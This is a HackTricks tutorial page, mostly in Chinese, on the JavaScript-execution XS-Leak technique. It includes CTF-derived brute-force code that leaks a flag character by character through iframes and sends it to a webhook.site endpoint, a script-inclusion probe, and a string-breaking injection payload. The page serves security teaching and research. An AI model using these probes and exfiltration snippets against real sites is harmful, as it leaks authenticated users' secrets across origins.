JavaScript Execution XS Leak

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks

这个 XS-Search primitive 将跨域响应是否作为 JavaScript 执行转化为一个Boolean oracle

通常的设置是:

  • Positive state: 目标返回攻击者可控文本或敏感内容,但这些内容不会作为攻击者 JavaScript 执行。
  • Negative state: 目标把攻击者可控文本反射到一个会被解析为有效 JavaScript 的位置,因此攻击者可以强制触发一个回调,例如 window.parent.foo()
  • leak: 用经典的 <script src> 加载目标,并观察回调是否触发。

这本质上是一个execution oracle,不是 timing oracle。攻击者唯一需要的是一个跨域 script inclusion,其行为会根据 secret 相关分支而不同。

关于通用 XS-Leaks 背景,请参见:

HackTricks

When This Works

当以下所有条件都为真时,这种技术就很实用:

  • victim 已对目标 origin 进行了认证。
  • 攻击者可以让 victim browser 从目标 origin 请求一个 classic script
  • 一个分支返回的内容是有效的攻击者可控 JavaScript
  • 另一个分支返回的内容不会执行攻击者回调

实际上,最容易出现的是 search/debug endpoints,它们会:

  • 当猜测错误时返回攻击者可控文本
  • 当猜测正确时返回不同的 body
  • 允许攻击者选择诸如 callbackhintmsg 之类的参数,或者一个可反射的 prefix/suffix

Basic Example

服务端代码会尝试将 ${guess} 作为 flag 前缀:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

生成 iframes 到前一个 /guessing 页面以测试每种可能性的主页面:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

攻击者逻辑是:

  1. 将每个候选项都先标记为 “good”。
  2. 将目标响应作为 script 加载。
  3. 如果响应执行了 window.parent.foo(),则将该候选项标记为 wrong。
  4. 如果没有回调触发,则保留该候选项并继续 brute-forcing。

Minimal Probe Pattern

在许多真实目标中,不需要 iframe。直接包含 script 就足够了:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

如果“wrong guess”分支反映 miss(),那么:

  • probe(...) === false 表示 callback 已执行或加载失败
  • probe(...) === true 表示 script 已加载但没有运行攻击者 callback

为了可靠性,请为每次 probe 使用一个全新的 script element,并添加一个cache-buster,例如 ?r=${crypto.randomUUID()}

Modern Caveats

它必须是 classic script

这个 primitive 依赖浏览器将资源作为 classic script 获取。一个不带 crossorigin 的普通 <script src=...> 会以 no-cors mode 获取,这正是这种老旧模式在跨域场景下仍然有用的原因。

不要为了这个 technique 改成 type="module"

  • 跨域 module scripts 需要 CORS
  • 许多可作为 classic scripts 包含的目标,用 module 的方式会直接失败

MIME type 和 nosniff 决定 payload 是否执行

当前浏览器比旧文章更严格。如果目标设置了 X-Content-Type-Options: nosniff,浏览器会阻止 MIME type 不是 JavaScript MIME type 的 script response。

这意味着这个 oracle 往往取决于:

  • target 是否返回 application/javascript / text/javascript
  • target 是否返回 text/plaintext/html 或 JSON
  • 是否存在 nosniff

这也是为什么有些 endpoint 只在一个分支里给出 leak:一个 response 被接受为 script,而另一个分支被阻止或以不同方式解析。

CORB 可能改变可观察结果

CORB 又增加了一个需要考虑的分支。如果一个 response 被认为受 CORB 保护,Chromium 可能把它变成一个空的有效 script response,而不是暴露解析失败。因此对于某些 endpoint:

  • 一个状态触发正常的 script parse / callback
  • 另一个状态变成空 script,只触发 onload

这仍然是一个有用的 oracle,但信号现在是 callback vs no callbackonload vs onerror,而不只是“JavaScript 是否执行”。

CSP 可以干掉攻击者可控分支

如果 target response 上有严格的 CSP,当反映出来的分支不再是可执行的 JavaScript 时,这个 primitive 可能失效。2022 到 2024 年的公开 XS-Leak challenge writeups 反复依赖这一点:

  • script-src 'none' 可以迫使攻击者转向直接执行 oracle 之外的路径
  • CSP/SRI/CSP-report 交互仍然可能创建其他 leak oracles,但那属于不同的页面/techniques

所以当明显的 callback trick 不起作用时,在放弃 endpoint 之前先检查 response headers。

Useful Variants

Callback-parameter endpoints

最方便的目标是接受如下参数的 JSONP 风格或 debug endpoint:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

如果 “miss” 分支把该值原样反映到可执行 JavaScript 中,而 “hit” 分支返回不同内容,你就能得到一个无需 timing measurement 的直接 Boolean oracle。

Syntax-preserving prefixes and suffixes

有时你无法完全控制 response body,但仍然可以让 negative 分支执行:

  • 关闭当前 string 或 function argument
  • 注入 callback
  • 将尾部字节注释掉

例如,一个被反映的分支像这样:

showResult("<attacker>");

常常可以转化为:

showResult("");window.parent.foo();//");

如果 positive 分支没有反射那个 payload,callback 就会成为 oracle。

Combining with event-based oracles

如果 endpoint 在不同浏览器之间不稳定,把 execution oracle 和本节 index 中已经介绍过的通用 script load events 结合起来:

  • callback fired
  • onload
  • onerror

当一个分支返回有效 JavaScript,而另一个分支触发 blocked MIME / CORB / CSP 行为时,这一点尤其有用。

Related pages:

Practical Notes

  • 优先使用 每个请求 1 bit,并保持 callback side effect 简单。
  • 如果你要探测很多候选值,删除之前插入的 <script> elements,或者把每次尝试隔离在一个新的 iframe 中。
  • Cache 和 service worker 行为可能污染 oracle;使用 cache-busting。
  • 当 negative 分支是 完全由 attacker-controlled JavaScript 组成时,这个 primitive 最强。如果你只能得到部分反射,那么 exploit 就会变成 payload-shaping 问题,而不是 XS-Search 问题。

References

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks